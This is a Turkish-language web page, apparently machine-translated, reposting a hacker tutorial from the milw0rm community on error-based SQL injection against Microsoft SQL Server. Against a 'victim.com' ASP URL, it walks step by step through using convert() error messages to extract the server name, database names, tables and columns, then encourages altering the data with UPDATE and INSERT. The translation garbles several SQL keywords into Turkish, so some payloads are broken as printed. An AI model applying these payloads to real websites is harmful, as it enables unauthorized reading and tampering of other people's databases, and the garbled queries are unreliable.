Dijital Pazarlama - Seo Ajansı

MSSQL için gelişmiş SQL enjeksiyonu

 Herkese merhaba, Bu, milw0rm topluluğu için herkese açık bir öğreticidir. Tüm bildiğiniz, SQL sorgularının UNION işleviyle nasıl değiştirileceğini bildiğini düşünüyorum ama bazen UNION bizim için yeterli değil. Bu derste size MSSQL için bazı gelişmiş SQL enjeksiyon tekniklerini göstereceğim. Kolaydır ve tüm yollarımız bu işlevle MSSQL'deki convert işlevinden gelir. keyfi SQL sorguları çalıştırmamıza ve veritabanından veri almamıza izin verir.

Öncelikle convert bizim için ne yapıyor. Adından da anlaşılacağı gibi, sadece bizim için INT'yi Long INT'e vb. Dönüştürüyor vb.. Şimdi size bir SQL sunucusunun adını nasıl bulacağınızı bir örnek gösterelim.
 
 
Bunun kurban URL'miz olduğunu hayal edin: http://www.victim.com/photos.asp?ID=1
 
Şimdi ' " ) gibi bazı SQL enjeksiyon karakterlerini kullanmayı deneyin ve bir hata almayı deneyin.
 
Bunun gibi: http://www.victim.com/photos.asp?ID=1' 
 
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '1''.
 
Savunmasız görünüyor, bu yüzden 1'i convert(int, @@servername) ile değiştirmeyi deneyin
 
URL'miz de şunu beğenmelidir: http://www.victim.com/photos.asp?ID=convert(int, @@servername) Bu URL'yi açtığımızda aşağıdaki gibi bir hata ile karşılaşacağız.   

  Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'TOMMYSWEB' to a column of data type int.


Gördüğünüz gibi TOMMYSWEB hatası döndürüldü ve bu bir tamsayı değeri değil. Yani kurbanımızın sunucu adı: TOMMYSWEB Şimdi convert(int, @@servicename) ile hizmet adını almaya çalışın ve 1'i bu değere değiştirin Bu URL'yi açtığımızda yine ilki gibi bir hata alacağız.

 Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'TOMMYSSQL' to a column of data type int.

 TOMMYSSQL, MSSQL uygulaması için hizmet adıdır. Diğer tüm örnekler aynı hataları alacaktır. değer nvarchar değeri 'Geri Dönen Veri' tüm fonksiyonlarımızda.Ayrıca bulduğumuz verileri yazmak için bir metin düzenleyiciye ihtiyacımız var. Ve bu yöntemle veritabanları nasıl bulunur? Bu farklı bir şey çünkü bütünleşmek için bunu birkaç kez yapmamız gerekiyor. veritabanları adı. Fonksiyonumuz şu şekilde olacaktır: convert(int, db_name(ID)) , db_name(ID) MSSQL'de verilen ID için dbname döndüren başka bir fonksiyondur. Bu yüzden ID 0'dan başlamamız ve ID 0'da aynı ismi döndüren ID için buna devam etmemiz gerekiyor. Bunun gibi: 

convert(int, db_name(0))
convert(int, db_name(1))
convert(int, db_name(2))
convert(int, db_name(3))
convert(int, db_name(4))
 

 4'ün 0'da aynı değeri döndürdüğünü hayal edin, böylece kurbanımızın sunucusunda 4 veritabanı var. Tablo adları nasıl bulunur? işlev: convert(int, (xtype='U' ve name>'TABLE' olan sistem nesnelerinden ilk 1 adı seçin))

Bu fonksiyonda TABLO değiştirilebilir ve tüm listeyi almak için önerim, bir bunu yaptıktan sonra, veritabanı adlarını almaya benzer, sadece TABLE'ı bulduğumuz son tablo adıyla değiştirmemiz ve buna devam etmemiz gerekiyor. SQL'de "EOF veya BOF" gibi başka bir hata veya başka bir hata alıyorum ... 

 Ve tüm bu verileri bir yere yazmayı unutmayın çünkü sütunlarını oluşturmak için onlara ihtiyacımız olacak. Sütunlar nasıl bulunur? işlev: convert(int, (colid=COLUMNID ve id= olan sistem sütunlarından ilk 1 adı seçin (xtype='U' ve name='TABLE' olan sistem nesnelerinden ilk 1 kimliği seçin)))  

Fonksiyonda gördüğünüz gibi yine TABLE'ımız var ama önceki örnekteki gibi benzer şeyler yapmıyoruz çünkü TABLE'ı bir tablo ismine değiştireceğiz sütunlarına ihtiyacımız olduğu için önceki örnekte bulduk, gördüğünüz gibi örnekte COLUMNID var, bir tamsayı değeri olmalı. Benim önerim bunu 1 yap ve veritabanı isimlerini kurar gibi saymaya başla ve başka bir hata almaya devam edelim. "EOF veya BOF" veya başka bir hata gibi ..

Bulduğunuz bu bilgilerle, UPDATE işlevini kullanmak gibi SQL sunucusundaki verileri değiştirmeyi veya INSERT işlevini kullanmak gibi yeni veriler oluşturmaya çalışın... Bu size ve SQL bilginize bağlıdır. Ayrıca UNION gibi sütunlardan bilgi alabilirsiniz, ancak SELECT işlevini kullanarak sorgumuza boş veya sayısal veriler eklemeyeceğiz. Tablo adlarını ve sütunlarını almanın başka bir yolu daha var ama bu en kullanışlı yol ve bunları URL'lerinizde deneyin.

 http://www.victim.com/photos.asp?ID=1' VE 1=convert() http://www.victim.com/photos.asp?ID=1' VE 1=convert();-- http://www.victim.com/photos.asp?ID=1' VE '1'='convert() http://www.victim.com/photos.asp?ID=convert();-- vesaire vesaire... ;) 

hepinize iyi eğlenceler ..

Saygılarımızla, (lulz a.k.a lulzx) 

Yorumunuz..

Daha yeni Daha eski